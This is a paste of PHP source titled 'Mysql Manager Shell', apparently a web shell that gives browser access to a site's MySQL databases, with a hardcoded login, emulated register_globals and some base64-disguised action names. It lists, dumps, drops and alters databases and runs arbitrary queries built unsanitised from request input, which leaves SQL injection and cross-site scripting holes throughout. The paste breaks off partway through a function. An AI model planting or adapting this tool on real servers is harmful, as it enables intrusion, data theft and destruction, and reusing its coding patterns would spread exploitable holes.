Mysql Manager Shell


SUBMITTED BY: mgalarm

DATE: Aug. 22, 2016, 12:03 p.m.

FORMAT: Text only

SIZE: 37.5 kB

HITS: 744

  1. <?
  2. $PASSWORD = "tryag_vb";
  3. $USERNAME = "102030";
  4. if ( function_exists('ini_get') ) {
  5. $onoff = ini_get('register_globals');
  6. } else {
  7. $onoff = get_cfg_var('register_globals');
  8. }
  9. if ($onoff != 1) {
  10. @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  11. @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  12. @extract($HTTP_POST_FILES, EXTR_SKIP);
  13. @extract($HTTP_POST_VARS, EXTR_SKIP);
  14. @extract($HTTP_GET_VARS, EXTR_SKIP);
  15. @extract($HTTP_ENV_VARS, EXTR_SKIP);
  16. }
  17. function logon() {
  18. global $PHP_SELF;
  19. setcookie( "mysql_web_admin_username" );
  20. setcookie( "mysql_web_admin_password" );
  21. setcookie( "mysql_web_admin_hostname" );
  22. echo "<table width=100% height=100%><tr><td><center>\n";
  23. echo "<table cellpadding=2><tr><td><center>\n";
  24. echo "<table cellpadding=20><tr><td><center>\n";
  25. echo "<h1>MySQL Interface (Developed By Mohajer22)</h1>\n";
  26. echo "<form action='$PHP_SELF'>\n";
  27. echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  28. echo "<table cellpadding=5 cellspacing=1>\n";
  29. echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  30. echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  31. echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  32. echo "</table><p>\n";
  33. echo "<input type=submit value='Enter'>\n";
  34. echo "<input type=reset value='Clear'><br>\n";
  35. echo "</form>\n";
  36. echo "</center></td></tr></table>\n";
  37. echo "</center></td></tr></table>\n";
  38. echo "<p><hr width=300>\n";
  39. echo "</center></td></tr></table>\n";
  40. }
  41. function logon_submit() {
  42. global $username, $password, $hostname ,$PHP_SELF;
  43. if($hostname =='')
  44. $hostname = 'localhost';
  45. setcookie( "mysql_web_admin_username", $username );
  46. setcookie( "mysql_web_admin_password", $password );
  47. setcookie( "mysql_web_admin_hostname", $hostname );
  48. echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  49. }
  50. function echoQueryResult() {
  51. global $queryStr, $errMsg;
  52. if( $errMsg == "" ) $errMsg = "Success";
  53. if( $queryStr != "" ) {
  54. echo "<table cellpadding=5>\n";
  55. echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  56. echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  57. echo "</table><p>\n";
  58. }
  59. }
  60. function listDatabases() {
  61. global $mysqlHandle, $PHP_SELF;
  62. echo "<h1>Databases List</h1>\n";
  63. echo "<form action='$PHP_SELF'>\n";
  64. echo "<input type=hidden name=action value=createDB>\n";
  65. echo "<input type=text name=dbname>\n";
  66. echo "<input type=submit value='Create Database'>\n";
  67. echo "</form>\n";
  68. echo "<hr>\n";
  69. echo "<table cellspacing=1 cellpadding=5>\n";
  70. $pDB = mysql_list_dbs( $mysqlHandle );
  71. $num = mysql_num_rows( $pDB );
  72. for( $i = 0; $i < $num; $i++ ) {
  73. $dbname = mysql_dbname( $pDB, $i );
  74. echo "<tr>\n";
  75. echo "<td>$dbname</td>\n";
  76. echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  77. echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  78. echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  79. echo "</tr>\n";
  80. }
  81. echo "</table>\n";
  82. }
  83. function createDatabase() {
  84. global $mysqlHandle, $dbname, $PHP_SELF;
  85. mysql_create_db( $dbname, $mysqlHandle );
  86. listDatabases();
  87. }
  88. function dropDatabase() {
  89. global $mysqlHandle, $dbname, $PHP_SELF;
  90. mysql_drop_db( $dbname, $mysqlHandle );
  91. listDatabases();
  92. }
  93. function listTables() {
  94. global $mysqlHandle, $dbname, $PHP_SELF;
  95. echo "<h1>Tables List</h1>\n";
  96. echo "<p class=location>$dbname</p>\n";
  97. echoQueryResult();
  98. echo "<form action='$PHP_SELF'>\n";
  99. echo "<input type=hidden name=action value=createTable>\n";
  100. echo "<input type=hidden name=dbname value=$dbname>\n";
  101. echo "<input type=text name=tablename>\n";
  102. echo "<input type=submit value='Create Table'>\n";
  103. echo "</form>\n";
  104. echo "<form action='$PHP_SELF'>\n";
  105. echo "<input type=hidden name=action value=query>\n";
  106. echo "<input type=hidden name=dbname value=$dbname>\n";
  107. echo "<input type=text size=120 name=queryStr>\n";
  108. echo "<input type=submit value='Query'>\n";
  109. echo "</form>\n";
  110. echo "<hr>\n";
  111. $pTable = mysql_list_tables( $dbname );
  112. if( $pTable == 0 ) {
  113. $msg = mysql_error();
  114. echo "<h3>Error : $msg</h3><p>\n";
  115. return;
  116. }
  117. $num = mysql_num_rows( $pTable );
  118. echo "<table cellspacing=1 cellpadding=5>\n";
  119. for( $i = 0; $i < $num; $i++ ) {
  120. $tablename = mysql_tablename( $pTable, $i );
  121. echo "<tr>\n";
  122. echo "<td>\n";
  123. echo "$tablename\n";
  124. echo "</td>\n";
  125. echo "<td>\n";
  126. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  127. echo "</td>\n";
  128. echo "<td>\n";
  129. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  130. echo "</td>\n";
  131. echo "<td>\n";
  132. echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  133. echo "</td>\n";
  134. echo "<td>\n";
  135. echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  136. echo "</td>\n";
  137. echo "</tr>\n";
  138. }
  139. echo "</table>";
  140. }
  141. function createTable() {
  142. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  143. $queryStr = "CREATE TABLE $tablename ( no INT )";
  144. mysql_select_db( $dbname, $mysqlHandle );
  145. mysql_query( $queryStr, $mysqlHandle );
  146. $errMsg = mysql_error();
  147. listTables();
  148. }
  149. function dropTable() {
  150. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  151. $queryStr = "DROP TABLE $tablename";
  152. mysql_select_db( $dbname, $mysqlHandle );
  153. mysql_query( $queryStr, $mysqlHandle );
  154. $errMsg = mysql_error();
  155. listTables();
  156. }
  157. function viewSchema() {
  158. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  159. echo "<h1>Table Schema</h1>\n";
  160. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  161. echoQueryResult();
  162. echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  163. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  164. echo "<hr>\n";
  165. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  166. $num = mysql_num_rows( $pResult );
  167. echo "<table cellspacing=1 cellpadding=5>\n";
  168. echo "<tr>\n";
  169. echo "<th>Field</th>\n";
  170. echo "<th>Type</th>\n";
  171. echo "<th>Null</th>\n";
  172. echo "<th>Key</th>\n";
  173. echo "<th>Default</th>\n";
  174. echo "<th>Extra</th>\n";
  175. echo "<th colspan=2>Action</th>\n";
  176. echo "</tr>\n";
  177. for( $i = 0; $i < $num; $i++ ) {
  178. $field = mysql_fetch_array( $pResult );
  179. echo "<tr>\n";
  180. echo "<td>".$field["Field"]."</td>\n";
  181. echo "<td>".$field["Type"]."</td>\n";
  182. echo "<td>".$field["Null"]."</td>\n";
  183. echo "<td>".$field["Key"]."</td>\n";
  184. echo "<td>".$field["Default"]."</td>\n";
  185. echo "<td>".$field["Extra"]."</td>\n";
  186. $fieldname = $field["Field"];
  187. echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  188. echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  189. echo "</tr>\n";
  190. }
  191. echo "</table>\n";
  192. }
  193. function manageField( $cmd ) {
  194. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  195. if( $cmd == "add" )
  196. echo "<h1>Add Field</h1>\n";
  197. else if( $cmd == "edit" ) {
  198. echo "<h1>Edit Field</h1>\n";
  199. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  200. $num = mysql_num_rows( $pResult );
  201. for( $i = 0; $i < $num; $i++ ) {
  202. $field = mysql_fetch_array( $pResult );
  203. if( $field["Field"] == $fieldname ) {
  204. $fieldtype = $field["Type"];
  205. $fieldkey = $field["Key"];
  206. $fieldextra = $field["Extra"];
  207. $fieldnull = $field["Null"];
  208. $fielddefault = $field["Default"];
  209. break;
  210. }
  211. }
  212. $type = strtok( $fieldtype, " (,)\n" );
  213. if( strpos( $fieldtype, "(" ) ) {
  214. if( $type == "enum" | $type == "set" ) {
  215. $valuelist = strtok( " ()\n" );
  216. } else {
  217. $M = strtok( " (,)\n" );
  218. if( strpos( $fieldtype, "," ) )
  219. $D = strtok( " (,)\n" );
  220. }
  221. }
  222. }
  223. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  224. echo "<form action=$PHP_SELF>\n";
  225. if( $cmd == "add" )
  226. echo "<input type=hidden name=action value=addField_submit>\n";
  227. else if( $cmd == "edit" ) {
  228. echo "<input type=hidden name=action value=editField_submit>\n";
  229. echo "<input type=hidden name=old_name value=$fieldname>\n";
  230. }
  231. echo "<input type=hidden name=dbname value=$dbname>\n";
  232. echo "<input type=hidden name=tablename value=$tablename>\n";
  233. echo "<h3>Name</h3>\n";
  234. echo "<input type=text name=name value=$fieldname><p>\n";
  235. echo '
  236. <h3>Type</h3>
  237. <font size=2>
  238. * `M\' indicates the maximum display size.<br>
  239. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  240. </font>
  241. <table>
  242. <tr>
  243. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  244. </tr>
  245. <tr>
  246. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  247. <td align=center>O</td>
  248. <td>&nbsp</td>
  249. <td align=center>O</td>
  250. <td align=center>O</td>
  251. <td>&nbsp</td>
  252. </tr>
  253. <tr>
  254. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  255. <td align=center>O</td>
  256. <td>&nbsp</td>
  257. <td align=center>O</td>
  258. <td align=center>O</td>
  259. <td>&nbsp</td>
  260. </tr>
  261. <tr>
  262. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  263. <td align=center>O</td>
  264. <td>&nbsp</td>
  265. <td align=center>O</td>
  266. <td align=center>O</td>
  267. <td>&nbsp</td>
  268. </tr>
  269. <tr>
  270. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  271. <td align=center>O</td>
  272. <td>&nbsp</td>
  273. <td align=center>O</td>
  274. <td align=center>O</td>
  275. <td>&nbsp</td>
  276. </tr>
  277. <tr>
  278. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  279. <td align=center>O</td>
  280. <td>&nbsp</td>
  281. <td align=center>O</td>
  282. <td align=center>O</td>
  283. <td>&nbsp</td>
  284. </tr>
  285. <tr>
  286. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  287. <td align=center>O</td>
  288. <td align=center>O</td>
  289. <td>&nbsp</td>
  290. <td align=center>O</td>
  291. <td>&nbsp</td>
  292. </tr>
  293. <tr>
  294. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  295. <td align=center>O</td>
  296. <td align=center>O</td>
  297. <td>&nbsp</td>
  298. <td align=center>O</td>
  299. <td>&nbsp</td>
  300. </tr>
  301. <tr>
  302. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  303. <td align=center>O</td>
  304. <td align=center>O</td>
  305. <td>&nbsp</td>
  306. <td align=center>O</td>
  307. <td>&nbsp</td>
  308. </tr>
  309. <tr>
  310. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  311. <td>&nbsp</td>
  312. <td>&nbsp</td>
  313. <td>&nbsp</td>
  314. <td>&nbsp</td>
  315. <td>&nbsp</td>
  316. </tr>
  317. <tr>
  318. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  319. <td>&nbsp</td>
  320. <td>&nbsp</td>
  321. <td>&nbsp</td>
  322. <td>&nbsp</td>
  323. <td>&nbsp</td>
  324. </tr>
  325. <tr>
  326. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  327. <td align=center>O</td>
  328. <td>&nbsp</td>
  329. <td>&nbsp</td>
  330. <td>&nbsp</td>
  331. <td>&nbsp</td>
  332. </tr>
  333. <tr>
  334. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  335. <td>&nbsp</td>
  336. <td>&nbsp</td>
  337. <td>&nbsp</td>
  338. <td>&nbsp</td>
  339. <td>&nbsp</td>
  340. </tr>
  341. <tr>
  342. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  343. <td>&nbsp</td>
  344. <td>&nbsp</td>
  345. <td>&nbsp</td>
  346. <td>&nbsp</td>
  347. <td>&nbsp</td>
  348. </tr>
  349. <tr>
  350. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  351. <td align=center>O</td>
  352. <td>&nbsp</td>
  353. <td>&nbsp</td>
  354. <td>&nbsp</td>
  355. <td align=center>O</td>
  356. </tr>
  357. <tr>
  358. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  359. <td align=center>O</td>
  360. <td>&nbsp</td>
  361. <td>&nbsp</td>
  362. <td>&nbsp</td>
  363. <td align=center>O</td>
  364. </tr>
  365. <tr>
  366. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  367. <td>&nbsp</td>
  368. <td>&nbsp</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. <td>&nbsp</td>
  372. </tr>
  373. <tr>
  374. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  375. <td>&nbsp</td>
  376. <td>&nbsp</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. <td>&nbsp</td>
  380. </tr>
  381. <tr>
  382. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  383. <td>&nbsp</td>
  384. <td>&nbsp</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. </tr>
  389. <tr>
  390. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  391. <td>&nbsp</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. </tr>
  397. <tr>
  398. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  399. <td>&nbsp</td>
  400. <td>&nbsp</td>
  401. <td>&nbsp</td>
  402. <td>&nbsp</td>
  403. <td>&nbsp</td>
  404. </tr>
  405. <tr>
  406. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  407. <td>&nbsp</td>
  408. <td>&nbsp</td>
  409. <td>&nbsp</td>
  410. <td>&nbsp</td>
  411. <td>&nbsp</td>
  412. </tr>
  413. <tr>
  414. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  415. <td>&nbsp</td>
  416. <td>&nbsp</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. </tr>
  421. <tr>
  422. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  423. <td>&nbsp</td>
  424. <td>&nbsp</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. </tr>
  429. <tr>
  430. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  431. <td colspan=5><center>value list</center></td>
  432. </tr>
  433. <tr>
  434. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  435. <td colspan=5><center>value list</center></td>
  436. </tr>
  437. </table>
  438. <table>
  439. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  440. <tr>
  441. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  442. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  443. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  444. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  445. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
  446. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  447. </tr>
  448. </table>
  449. <h3>Flags</h3>
  450. <table>
  451. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  452. <tr>
  453. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  454. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  455. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  456. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  457. </tr>
  458. </table>
  459. <p>';
  460. if( $cmd == "add" )
  461. echo "<input type=submit value='Add Field'>\n";
  462. else if( $cmd == "edit" )
  463. echo "<input type=submit value='Edit Field'>\n";
  464. echo "<input type=button value=Cancel onClick='history.back()'>\n";
  465. echo "</form>\n";
  466. }
  467. function manageField_submit( $cmd ) {
  468. global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  469. $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  470. if( $cmd == "add" )
  471. $queryStr = "ALTER TABLE $tablename ADD $name ";
  472. else if( $cmd == "edit" )
  473. $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  474. if( $M != "" )
  475. if( $D != "" )
  476. $queryStr .= "$type($M,$D) ";
  477. else
  478. $queryStr .= "$type($M) ";
  479. else if( $valuelist != "" ) {
  480. $valuelist = stripslashes( $valuelist );
  481. $queryStr .= "$type($valuelist) ";
  482. } else
  483. $queryStr .= "$type ";
  484. $queryStr .= "$unsigned $zerofill $binary ";
  485. if( $default_value != "" )
  486. $queryStr .= "DEFAULT '$default_value' ";
  487. $queryStr .= "$not_null $auto_increment";
  488. mysql_select_db( $dbname, $mysqlHandle );
  489. mysql_query( $queryStr, $mysqlHandle );
  490. $errMsg = mysql_error();
  491. // key change
  492. $keyChange = false;
  493. $result = mysql_query( "SHOW KEYS FROM $tablename" );
  494. $primary = "";
  495. while( $row = mysql_fetch_array($result) )
  496. if( $row["Key_name"] == "PRIMARY" ) {
  497. if( $row[Column_name] == $name )
  498. $keyChange = true;
  499. else
  500. $primary .= ", $row[Column_name]";
  501. }
  502. if( $primary_key == "PRIMARY KEY" ) {
  503. $primary .= ", $name";
  504. $keyChange = !$keyChange;
  505. }
  506. $primary = substr( $primary, 2 );
  507. if( $keyChange == true ) {
  508. $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  509. mysql_query( $q );
  510. $queryStr .= "<br>\n" . $q;
  511. $errMsg .= "<br>\n" . mysql_error();
  512. $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  513. mysql_query( $q );
  514. $queryStr .= "<br>\n" . $q;
  515. $errMsg .= "<br>\n" . mysql_error();
  516. }
  517. viewSchema();
  518. }
  519. function dropField() {
  520. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  521. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  522. mysql_select_db( $dbname, $mysqlHandle );
  523. mysql_query( $queryStr , $mysqlHandle );
  524. $errMsg = mysql_error();
  525. viewSchema();
  526. }
  527. function viewData( $queryStr ) {
  528. global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  529. echo "<h1>Data in Table</h1>\n";
  530. if( $tablename != "" )
  531. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  532. else
  533. echo "<p class=location>$dbname</p>\n";
  534. $queryStr = stripslashes( $queryStr );
  535. if( $queryStr == "" ) {
  536. $queryStr = "SELECT * FROM $tablename";
  537. if( $orderby != "" )
  538. $queryStr .= " ORDER BY $orderby";
  539. echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  540. echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  541. }
  542. $pResult = mysql_db_query( $dbname, $queryStr );
  543. $fieldt = mysql_fetch_field($pResult);
  544. $tablename = $fieldt->table;
  545. $errMsg = mysql_error();
  546. $GLOBALS[queryStr] = $queryStr;
  547. if( $pResult == false ) {
  548. echoQueryResult();
  549. return;
  550. }
  551. if( $pResult == 1 ) {
  552. $errMsg = "Success";
  553. echoQueryResult();
  554. return;
  555. }
  556. echo "<hr>\n";
  557. $row = mysql_num_rows( $pResult );
  558. $col = mysql_num_fields( $pResult );
  559. if( $row == 0 ) {
  560. echo "No Data Exist!";
  561. return;
  562. }
  563. if( $rowperpage == "" ) $rowperpage = 30;
  564. if( $page == "" ) $page = 0;
  565. else $page--;
  566. mysql_data_seek( $pResult, $page * $rowperpage );
  567. echo "<table cellspacing=1 cellpadding=2>\n";
  568. echo "<tr>\n";
  569. for( $i = 0; $i < $col; $i++ ) {
  570. $field = mysql_fetch_field( $pResult, $i );
  571. echo "<th>";
  572. if($action == "dmlld0RhdGE=")
  573. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  574. else
  575. echo $field->name."\n";
  576. echo "</th>\n";
  577. }
  578. echo "<th colspan=2>Action</th>\n";
  579. echo "</tr>\n";
  580. for( $i = 0; $i < $rowperpage; $i++ ) {
  581. $rowArray = mysql_fetch_row( $pResult );
  582. if( $rowArray == false ) break;
  583. echo "<tr>\n";
  584. $key = "";
  585. for( $j = 0; $j < $col; $j++ ) {
  586. $data = $rowArray[$j];
  587. $field = mysql_fetch_field( $pResult, $j );
  588. if( $field->primary_key == 1 )
  589. $key .= "&" . $field->name . "=" . $data;
  590. if( strlen( $data ) > 30 )
  591. $data = substr( $data, 0, 30 ) . "...";
  592. $data = htmlspecialchars( $data );
  593. echo "<td>\n";
  594. echo "$data\n";
  595. echo "</td>\n";
  596. }
  597. if( $key == "" )
  598. echo "<td colspan=2>no Key</td>\n";
  599. else {
  600. echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  601. echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  602. }
  603. echo "</tr>\n";
  604. }
  605. echo "</table>\n";
  606. echo "<font size=2>\n";
  607. if($action == "dmlld0RhdGE=")
  608. echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  609. else
  610. echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  611. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  612. echo "</font>\n";
  613. echo " | ";
  614. if( $page > 0 ) {
  615. if($action == "dmlld0RhdGE=")
  616. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  617. else
  618. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  619. if( $orderby != "" && $action == "dmlld0RhdGE=")
  620. echo "&orderby=$orderby";
  621. echo "'>Prev</a>\n";
  622. } else
  623. echo "Prev";
  624. echo " | ";
  625. if( $page < ($row/$rowperpage)-1 ) {
  626. if($action == "dmlld0RhdGE=")
  627. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  628. else
  629. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  630. if( $orderby != "" && $action == "dmlld0RhdGE=")
  631. echo "&orderby=$orderby";
  632. echo "'>Next</a>\n";
  633. } else
  634. echo "Next";
  635. echo " | ";
  636. if( $row > $rowperpage ) {
  637. echo "<input type=text size=4 name=page>\n";
  638. echo "<input type=submit value='Go'>\n";
  639. }
  640. echo "</form>\n";
  641. echo "</font>\n";
  642. }
  643. function manageData( $cmd ) {
  644. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  645. if( $cmd == "add" )
  646. echo "<h1>Add Data</h1>\n";
  647. else if( $cmd == "edit" ) {
  648. echo "<h1>Edit Data</h1>\n";
  649. $pResult = mysql_list_fields( $dbname, $tablename );
  650. $num = mysql_num_fields( $pResult );
  651. $key = "";
  652. for( $i = 0; $i < $num; $i++ ) {
  653. $field = mysql_fetch_field( $pResult, $i );
  654. if( $field->primary_key == 1 )
  655. if( $field->numeric == 1 )
  656. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  657. else
  658. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  659. }
  660. $key = substr( $key, 0, strlen($key)-4 );
  661. mysql_select_db( $dbname, $mysqlHandle );
  662. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  663. $data = mysql_fetch_array( $pResult );
  664. }
  665. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  666. echo "<form action='$PHP_SELF' method=post>\n";
  667. if( $cmd == "add" )
  668. echo "<input type=hidden name=action value=addData_submit>\n";
  669. else if( $cmd == "edit" )
  670. echo "<input type=hidden name=action value=editData_submit>\n";
  671. echo "<input type=hidden name=dbname value=$dbname>\n";
  672. echo "<input type=hidden name=tablename value=$tablename>\n";
  673. echo "<table cellspacing=1 cellpadding=2>\n";
  674. echo "<tr>\n";
  675. echo "<th>Name</th>\n";
  676. echo "<th>Type</th>\n";
  677. echo "<th>Function</th>\n";
  678. echo "<th>Data</th>\n";
  679. echo "</tr>\n";
  680. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  681. $num = mysql_num_rows( $pResult );
  682. $pResultLen = mysql_list_fields( $dbname, $tablename );
  683. for( $i = 0; $i < $num; $i++ ) {
  684. $field = mysql_fetch_array( $pResult );
  685. $fieldname = $field["Field"];
  686. $fieldtype = $field["Type"];
  687. $len = mysql_field_len( $pResultLen, $i );
  688. echo "<tr>";
  689. echo "<td>$fieldname</td>";
  690. echo "<td>".$field["Type"]."</td>";
  691. echo "<td>\n";
  692. echo "<select name=${fieldname}_function>\n";
  693. echo "<option>\n";
  694. echo "<option>ASCII\n";
  695. echo "<option>CHAR\n";
